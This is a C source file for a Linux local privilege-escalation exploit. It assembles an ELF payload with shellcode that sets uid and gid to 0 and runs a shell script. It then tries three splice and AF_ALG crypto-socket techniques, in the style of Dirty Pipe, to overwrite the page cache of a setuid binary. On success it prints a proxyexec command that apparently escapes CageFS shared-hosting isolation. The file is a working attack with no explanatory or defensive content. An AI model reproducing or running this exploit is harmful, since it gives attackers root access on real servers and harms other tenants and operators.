#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/if_alg.h>

static ssize_t do_splice(int fd_in, loff_t *off_in, int fd_out,
                         loff_t *off_out, size_t len, unsigned int flags)
{
    return syscall(__NR_splice, fd_in, off_in, fd_out, off_out, len, flags);
}

#define LOAD_BASE   0x400000ULL
#define CODE_OFF    0x78
#define STR_OFF     0xC0

static void build_elf(unsigned char *buf, size_t bufsz, const char *script)
{
    memset(buf, 0, bufsz);
    size_t slen = strlen(script);

    size_t str_area = STR_OFF;
    size_t sh_off   = str_area;
    size_t dash_off = sh_off + 8;
    size_t sc_off   = dash_off + 3;
    size_t argv0_off= sc_off + slen + 1;
    size_t argv1_off= argv0_off + 8;
    size_t argv2_off= argv1_off + 8;

    unsigned long long sh_va   = LOAD_BASE + sh_off;
    unsigned long long dash_va = LOAD_BASE + dash_off;
    unsigned long long sc_va   = LOAD_BASE + sc_off;
    unsigned long long argv0_va = LOAD_BASE + argv0_off;

    /* ELF header */
    buf[0]=0x7f; buf[1]='E'; buf[2]='L'; buf[3]='F';
    buf[4]=2; buf[5]=1; buf[6]=1; /* class=64, data=LE, version=1 */
    buf[16]=2; buf[17]=0;   /* ET_EXEC */
    buf[18]=0x3e; buf[19]=0; /* x86-64 */
    buf[20]=1; /* EV_CURRENT */
    unsigned long long entry = LOAD_BASE + CODE_OFF;
    memcpy(buf+24, &entry, 8);   /* e_entry */
    buf[32]=0x40;                /* e_phoff = 64 */
    buf[52]=0x40; buf[53]=0;     /* e_ehsize = 64 */
    buf[54]=0x38; buf[55]=0;     /* e_phentsize = 56 */
    buf[56]=1;                   /* e_phnum = 1 */

    /* Program header at offset 64 */
    unsigned char *ph = buf + 64;
    ph[0]=1;                     /* PT_LOAD */
    ph[4]=5;                     /* PF_R|PF_X */
    /* p_offset=0 */
    { unsigned long long lb=LOAD_BASE; memcpy(ph+16, &lb, 8); } /* p_vaddr */
    { unsigned long long lb2=LOAD_BASE; memcpy(ph+24, &lb2, 8); } /* p_paddr */
    unsigned long long fsz = 4096;
    memcpy(ph+32, &fsz, 8);      /* p_filesz */
    memcpy(ph+40, &fsz, 8);      /* p_memsz */
    unsigned long long align = 0x1000;
    memcpy(ph+48, &align, 8);    /* p_align */

    /* Strings */
    memcpy(buf + sh_off, "/bin/sh", 7);
    memcpy(buf + dash_off, "-c", 2);
    memcpy(buf + sc_off, script, slen);

    /* argv array */
    memcpy(buf + argv0_off, &sh_va,   8);
    memcpy(buf + argv1_off, &dash_va, 8);
    memcpy(buf + argv2_off, &sc_va,   8);

    /* Shellcode at CODE_OFF */
    unsigned char *c = buf + CODE_OFF;
    size_t i = 0;

    /* setuid(0) */
    c[i++]=0x31; c[i++]=0xff;
    c[i++]=0xb8; c[i++]=0x69; c[i++]=0; c[i++]=0; c[i++]=0;
    c[i++]=0x0f; c[i++]=0x05;

    /* setgid(0) */
    c[i++]=0x31; c[i++]=0xff;
    c[i++]=0xb8; c[i++]=0x6a; c[i++]=0; c[i++]=0; c[i++]=0;
    c[i++]=0x0f; c[i++]=0x05;

    /* execve("/bin/sh", ["/bin/sh","-c",script], NULL) */
    c[i++]=0x48; c[i++]=0xbf; memcpy(c+i, &sh_va, 8); i+=8;
    c[i++]=0x48; c[i++]=0xbe; memcpy(c+i, &argv0_va, 8); i+=8;
    c[i++]=0x48; c[i++]=0x31; c[i++]=0xd2;
    c[i++]=0xb8; c[i++]=0x3b; c[i++]=0; c[i++]=0; c[i++]=0;
    c[i++]=0x0f; c[i++]=0x05;

    /* exit(1) */
    c[i++]=0xb8; c[i++]=0x3c; c[i++]=0; c[i++]=0; c[i++]=0;
    c[i++]=0xbf; c[i++]=0x01; c[i++]=0; c[i++]=0; c[i++]=0;
    c[i++]=0x0f; c[i++]=0x05;
}

int main(int argc, char *argv[]) {
    if (argc < 3) {
        fprintf(stderr, "Usage: %s <suid_target> <root_script>\n", argv[0]);
        return 1;
    }
    const char *target = argv[1];
    const char *script = argv[2];

    printf("[*] AF_ALG page-cache attack: target=%s script=%s\n", target, script);

    unsigned char payload[4096] = {0};
    build_elf(payload, sizeof(payload), script);
    printf("[*] ELF: %02x %02x %02x %02x  entry_off=0x%x\n",
           payload[0],payload[1],payload[2],payload[3], CODE_OFF);

    int tfd = open(target, O_RDONLY);
    if (tfd < 0) { perror("open target"); return 1; }
    printf("[+] opened target\n");

    int afd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    if (afd < 0) { perror("socket AF_ALG"); return 1; }

    struct sockaddr_alg sa = {};
    sa.salg_family = AF_ALG;
    strcpy((char*)sa.salg_type, "aead");
    strcpy((char*)sa.salg_name, "authencesn(hmac(sha256),cbc(aes))");
    if (bind(afd, (struct sockaddr*)&sa, sizeof(sa)) < 0) {
        perror("bind AF_ALG"); return 1;
    }

    unsigned char key[48] = {0};
    setsockopt(afd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
    unsigned int authsize = 16;
    setsockopt(afd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, authsize);

    int cfd = accept(afd, NULL, NULL);
    if (cfd < 0) { perror("accept"); return 1; }
    printf("[+] AF_ALG op fd=%d\n", cfd);

    int p[2];
    pipe(p);

    /* Method A: splice target -> pipe, then write payload to pipe WRITE END
       (Dirty-Pipe-style: on vulnerable kernels, write() after splice() merges
        into the same page cache page that was spliced) */
    printf("[*] Method A: splice->pipe then write to pipe write-end\n");
    loff_t off = 0;
    ssize_t n = do_splice(tfd, &off, p[1], NULL, 4096, 0);
    printf("  splice: n=%zd err=%d\n", n, errno);
    if (n > 0) {
        ssize_t w = write(p[1], payload, 4096);
        printf("  write pipe[1]: w=%zd err=%d\n", w, errno);
        char drain[8192]; read(p[0], drain, sizeof(drain));
    }

    /* Verify A */
    {
        off = 0; lseek(tfd, 0, SEEK_SET);
        unsigned char chk[4] = {0};
        int vfd = open(target, O_RDONLY);
        if (vfd >= 0) { read(vfd, chk, 4); close(vfd); }
        int ok = (chk[0]==0x7f && chk[1]=='E' && chk[2]=='L' && chk[3]=='F'
                  && memcmp(chk, payload, 4)==0);
        printf("  verify A: %02x%02x%02x%02x -> %s\n",
               chk[0],chk[1],chk[2],chk[3], ok?"OVERWRITTEN!":"not modified");
        if (ok) goto done;
    }

    /* Method B: splice target -> pipe -> splice pipe -> alg_cfd, then write payload to pipe */
    printf("[*] Method B: splice->pipe->alg, write to pipe after\n");
    off = 0;
    n = do_splice(tfd, &off, p[1], NULL, 4096, 0);
    printf("  splice tfd->pipe: n=%zd\n", n);
    if (n > 0) {
        ssize_t n2 = do_splice(p[0], NULL, cfd, NULL, n, 0);
        printf("  splice pipe->alg: n2=%zd\n", n2);
        ssize_t w = write(p[1], payload, 4096);
        printf("  write pipe[1]: w=%zd\n", w);
        char rbuf[8192]; ssize_t r = recv(cfd, rbuf, sizeof(rbuf), MSG_DONTWAIT);
        printf("  recv alg: r=%zd err=%d\n", r, errno);
        char drain[4096]; read(p[0], drain, sizeof(drain));
    }

    /* Verify B */
    {
        unsigned char chk[4] = {0};
        int vfd = open(target, O_RDONLY);
        if (vfd >= 0) { read(vfd, chk, 4); close(vfd); }
        int ok = memcmp(chk, payload, 4)==0;
        printf("  verify B: %02x%02x%02x%02x -> %s\n",
               chk[0],chk[1],chk[2],chk[3], ok?"OVERWRITTEN!":"not modified");
        if (ok) goto done;
    }

    /* Method C: write directly to alg_cfd (skip pipe) */
    printf("[*] Method C: splice tfd->alg directly, write payload to alg\n");
    off = 0;
    n = do_splice(tfd, &off, cfd, NULL, 4096, 0);
    printf("  splice tfd->alg: n=%zd err=%d\n", n, errno);
    if (n >= 0) {
        ssize_t w = write(cfd, payload, 4096);
        printf("  write alg: w=%zd err=%d\n", w, errno);
        char rbuf[8192]; ssize_t r = recv(cfd, rbuf, sizeof(rbuf), MSG_DONTWAIT);
        printf("  recv alg: r=%zd err=%d\n", r, errno);
    }

    /* Verify C */
    {
        unsigned char chk[4] = {0};
        int vfd = open(target, O_RDONLY);
        if (vfd >= 0) { read(vfd, chk, 4); close(vfd); }
        int ok = memcmp(chk, payload, 4)==0;
        printf("  verify C: %02x%02x%02x%02x -> %s\n",
               chk[0],chk[1],chk[2],chk[3], ok?"OVERWRITTEN!":"not modified");
        if (ok) goto done;
    }

    printf("[-] page cache NOT overwritten by any method\n");
    close(cfd); close(afd); close(p[0]); close(p[1]); close(tfd);
    return 2;

done:
    printf("[!!!] PAGE CACHE OVERWRITTEN — trigger via proxyexec SENDMAIL\n");
    printf("[*] Run: CAGEFS_TOKEN=TOKEN proxyexec -c cagefs.sock USER CWD SENDMAIL 1 2>&1\n");
    close(cfd); close(afd); close(p[0]); close(p[1]); close(tfd);
    return 0;
}
